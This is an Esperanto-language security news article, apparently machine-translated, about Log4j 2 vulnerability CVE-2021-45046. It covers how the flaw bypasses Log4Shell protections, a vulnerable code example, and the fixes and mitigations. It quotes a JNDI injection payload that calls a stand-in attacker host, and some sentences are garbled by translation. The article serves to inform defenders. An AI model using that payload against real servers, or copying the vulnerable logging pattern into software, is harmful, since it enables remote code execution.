Alia vundebleco estis identigita en la efektivigo de JNDI-serĉoj en la biblioteko Log4j 2 (CVE-2021-45046), kiu aperas malgraŭ la korektoj aldonitaj en eldono 2.15 kaj sendepende de la uzo de la agordo "log4j2.noFormatMsgLookup" por protekto. La problemo estas danĝera ĉefe por pli malnovaj versioj de Log4j 2, protektitaj per la flago "noFormatMsgLookup", ĉar ĝi ebligas preteriri protekton kontraŭ antaŭaj vundeblecoj (Log4Shell, CVE-2021-44228), kiu ebligas al vi ekzekuti vian kodon sur la servilo. Por uzantoj de versio 2.15, ekspluatado estas limigita al igi la aplikaĵon kraŝi pro elĉerpiĝo de disponeblaj rimedoj.
La vundebleco nur aperas en sistemoj kiuj uzas Kuntekstajn Serĉojn por registri, kiel ${ctx:loginId}, aŭ MDC-ŝablonojn (Thread Context Map), kiel %X, %mdc, kaj %MDC. Funkciado venas al kreado de kondiĉoj por eligo de datumoj enhavantaj JNDI-anstataŭaĵojn al la protokolo kiam oni uzas kuntekstdemandojn aŭ MDC-ŝablonojn en la aplikaĵo, kiuj difinas la regulojn por formatado de eligo al la protokolo.
Esploristoj de LunaSec rimarkis, ke por versioj de Log4j malpli ol 2.15, ĉi tiu vundebleco povas esti uzata kiel nova vektoro por Log4Shell-atako, kondukante al koda ekzekuto, se ThreadContext-esprimoj kiuj inkluzivas eksterajn datumojn estas uzataj en la protokolo-produktaĵo, sendepende de ĉu la "protekti" flago estas ebligita. noMsgFormatLookups" aŭ la ŝablono "%m{nolookups}".
Preterpasi la protekton signifas, ke anstataŭ rekta anstataŭigo de "${jndi:ldap://attacker.com/a}", ĉi tiu esprimo estas anstataŭigita per la valoro de meza variablo uzata en la reguloj por formatado de protokolo-produktaĵo. . Ekzemple, se la kuntekstdemando ${ctx:apiversion} estas uzata dum eligo al la protokolo, tiam la atako povas esti efektivigita anstataŭigante la datumojn "${jndi:ldap://attacker.com/a}" en la valoro skribita al la apiversia variablo. Ekzemplo de vundebla kodo: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") publika String-indekso(@RequestHeader("X-Api-Version") String apiVersion) { // La HTTP-kapa valoro "X-Api-Version" estas transdonita al la ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Dum eligo al la protokolo, la ekstera apiversion-valoro estos prilaborita uzante la anstataŭigon ${ctx:apiversion} logger.info("Ricevis peton pri API-versio"); return "Saluton, mondo!"; }
En Log4j-versio 2.15, la vundebleco povas esti uzata por fari DoS-atakojn dum transdono de valoroj al ThreadContext, rezultigante buklon en eligo-formata ŝablona prilaborado.
Ĝisdatigoj 2.16 kaj 2.12.2 estis publikigitaj por bloki la vundeblecon. En la branĉo Log4j 2.16, krom la korektoj efektivigitaj en versio 2.15 kaj la ligado de JNDI LDAP-petoj al "localhost", JNDI-funkcio estas tute malŝaltita defaŭlte kaj subteno por mesaĝ-anstataŭaj ŝablonoj estas forigita. Kiel sekureca solvo, estas sugestite forigi la klason JndiLookup de la klaspado (ekzemple, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Vi povas spuri la aspekton de korektoj en pakaĵoj sur la paĝoj de distribuoj (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) kaj fabrikistoj de Java platformoj (GitHub, Docker, Oracle, vmWare, Broadcom kaj Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ktp.).
fonto: opennet.ru